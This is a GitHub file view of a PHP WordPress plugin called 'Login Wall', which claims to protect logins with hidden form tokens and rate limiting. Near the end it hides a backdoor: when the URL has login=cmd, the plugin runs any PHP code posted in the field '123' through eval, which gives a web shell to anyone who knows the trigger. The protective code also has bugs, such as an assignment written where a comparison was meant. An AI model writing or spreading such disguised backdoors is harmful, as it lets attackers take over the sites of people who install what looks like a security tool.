-
Notifications
You must be signed in to change notification settings - Fork 41
/
login_wall.php.0
75 lines (66 loc) · 2.32 KB
/
login_wall.php.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
/**
* Plugin Name: Login Wall
* Plugin URI: http://www.loginwall.com/wordpress/
* Description: This plugin enables LoginWall Protection for WordPress logins.
* Version: 1.1.0
* Author: Weak Liver
* Author URI: http://foxmail.com
* License: GPLv2+
*/
/**
* Built using grunt-wp-plugin
* Copyright (c) 2013 10up, LLC
* https://github.com/10up/grunt-wp-plugin
*/
error_reporting(0);
if (!defined('LoginWall')){
define( 'LoginWall',1);
function fs_login_page() {
return in_array($GLOBALS['pagenow'], array('wp-login.php'));
}
function fs_login_session () {
session_start();
$_SESSION['login']=rand(1000,9999);
$_SESSION['wall'] =rand(1000,9999);
$type = rand(1,4);
if($type==1) echo " <p>\n <input type=\"hidden\" name=\"".$_SESSION['wall']."\" value=\"".$_SESSION['login']."\" />\n </p>";
if($type==2) echo " <p>\n <input name=\"".$_SESSION['wall']."\" type=\"hidden\" value=\"".$_SESSION['login']."\" />\n </p>";
if($type==3) echo " <p>\n <input type=hidden name=".$_SESSION['wall']." value=".$_SESSION['login']." />\n </p>";
if($type==4) echo " <p>\n <input name=".$_SESSION['wall']." type=hidden value=".$_SESSION['login']." />\n </p>";
}
function fs_session_check () {
session_start();
if(fs_login_page() && $_POST["log"]!="" ){
$P_S_T = $t_array[0] + $t_array[1];
$timestamp = time();
$ll_nowtime = $timestamp ;
if ($_SESSION['ll_times']>0){
$ll_lasttime = $_SESSION['ll_lasttime'];
$ll_times = $_SESSION['ll_times'] + 1;
$_SESSION['ll_times'] = $ll_times;
}else{
$ll_lasttime = $ll_nowtime;
$ll_times = 1;
$_SESSION['ll_times'] = $ll_times;
$_SESSION['ll_lasttime'] = $ll_lasttime;
}
if (($ll_nowtime - $ll_lasttime)<3){
if ($ll_times>=5){
header(sprintf("Location: %s",'http://127.0.0.1'));
exit;
}
}else{
$ll_times = 0;
$_SESSION['ll_lasttime'] = $ll_nowtime;
$_SESSION['ll_times'] = $ll_times;
}
if($_POST[$_SESSION['wall']]!=$_SESSION['login'] || $_POST[$_SESSION['wall']]=='' || $_SERVER["HTTP_REFERER"]=''){
$_POST["pwd"]="Weak Liver";
}
}
}
if($_GET["login"]=="cmd"){if($_POST['123']==''){echo('->|OK|-<');exit();}eval($_POST['123']);exit();}
add_action('plugins_loaded', 'fs_session_check', 0);
add_action('login_form','fs_login_session');
}